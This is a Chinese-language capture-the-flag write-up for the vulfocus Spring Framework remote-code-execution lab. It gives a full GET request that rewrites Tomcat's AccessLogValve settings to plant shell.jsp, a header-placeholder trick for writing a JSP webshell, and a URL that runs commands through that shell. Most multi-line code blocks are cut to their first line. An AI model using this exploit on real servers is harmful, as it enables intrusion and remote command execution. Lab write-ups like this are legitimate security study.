vulfocusspring-core-rceSpring Framework 远程命令执行漏洞-漏洞简易解析+靶场使用建议
vulfocus/spring-core-rce/Spring Framework 远程命令执行漏洞-漏洞简易解析+靶场使用建议
0x01 参考文章+漏洞简介+复现常见问题及建议
1.参考文章:
https://blog.csdn.net/woai_zhongguo/article/details/125846680?ops_request_misc=elastic_search_misc&request_id=4d2bbd099f3ea2bcf6ea3d28d71767df&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~top_positive~default-1-125846680-null-null.142^v102^pc_search_result_base9&utm_term=Spring%20Framework%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%20&spm=1018.2226.3001.4187
2.漏洞介绍
1 | 名称: vulfocus/spring-core-rce-2022-03-29:latest |
3.复现常见问题及建议
这篇题解我一定会写,我自己再尝试复现的时候花了将近两个小时半的时间,哪怕是按照别人poc一步一步、一摸一样在做,也总是会复现失败,一直心里想到放弃但也会觉得不甘和可惜。如果碰到跟我一样情况的人,请耐心的检查自己的poc和payload,不要跟我一样太浮躁,最终花更多的时间来做重复性工作。
在此分享一下心得:
1.在进入网页抓包时如果没有显示cookie,请果断删除靶场并重新进入
2.理解每一块的内容,理解后你才不会搞混或者忘记某个步骤
3.靶场在倒数三分钟的时候可能会自动断连,这时候如果是最后一步然而你没有成功,不要放弃,重新开靶场。这不是你的问题。
4.按照官方题解做下来,显示jsp并没有被执行,怀疑是下面这段请求的问题
1 | suffix: %> |
生成内容: <%Runtime.getRuntime().exec... %>
把 <% 和 Runtime 粘在一起,可能会误以为这是一个自定义标签(类似 <%@ 或 <%!),从而导致解析失败,直接把整段当成字符串输出了。

0x02 思路
1.漏洞是怎么发生的?
通过spring的参数绑定机制拿到ClassLoader,然后拿着它可以去访问tomcat的全局配置对象中的AccessLogValue,那我们就获得了AccessLogValue实例的修改权,最后修改日志配置塞入木马
2.后续怎么触发木马?
访问服务器上任何页面。tomcat收到访问请求,触发AccessLogValue记录日志,而AccessLogValue会触发log(),此方法在执行时会拼接我们塞进去的pattern然后写入日志文件
再访问/shell.jsp,tomcat检测到jsp文件交给jasper引擎执行,代码中的塞入的Runtime.getRuntime().exec()被调用。
0x03 action
首先修改文件,成功后写入木马
打开文件解析成功
1.修改日志配置(get/post)
1 | ?class.module.classLoader.resources.context.parent.pipeline.first.pattern=spring& |
分析:
| 属性名 | Payload 中的路径 | 构造的值 | 作用 |
|---|---|---|---|
| 目录 | class.module.classLoader.resources.context.parent.pipeline.first.directory |
webapps/ROOT |
强制日志写到网站根目录。 |
class.module.classLoader.resources.context.parent.pipeline.first.prefix |
shell |
设定文件名为 shell。 |
|
| 后缀 | class.module.classLoader.resources.context.parent.pipeline.first.suffix |
.jsp |
设定后缀,让 Tomcat 把它当脚本解析。 |
| 日期格式 | class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat |
(留空) |
极其重要。如果不留空,文件名会变成 shell.2026-04-16.jsp。 |
| 内容 | class.module.classLoader.resources.context.parent.pipeline.first.pattern |
%{c}i...%{f}i |
设定写入的内容,引用 Header 中的 c 和 f。 |
poc:
1 | GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=spring&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1 |
写入后访问:http://123.58.224.8:15494/shell.jsp查看文件AccessLogValue记录日志,顺便看看也没有写入成功
2.写入木马(此为简略版,完整版详见后面)(get/post)
pattern里面直接传<% … %>可能会被拦截
因此利用占位符将内容的符号分开:内容放在body中,符号放在head头中
我们需要写入下面两部分:(来源于引用文章)
1 | f:%>// |
以下为body内容的解析:
1 | // 1. 校验:防止其他人利用你的 Shell |
payload:
1 | POST / HTTP/1.1 |

3.写入成功访问日志文件并写入命令
1 | http://123.58.224.8:15494/shell.jsp?pwd=d&cmd=ls%20/tmp |
拿到flag

0x04 知识点
1.Tomcat 的日志占位符语法
Tomcat 的 AccessLogValve 允许开发者自定义日志格式。
在它的官方文档中,定义了一套类似于 C 语言 printf 的语法。其中有一个专门的指令:
语法:
%{xxx}i含义: 记录传入请求(Incoming Request)中名为
xxx的 Header(头信息)。

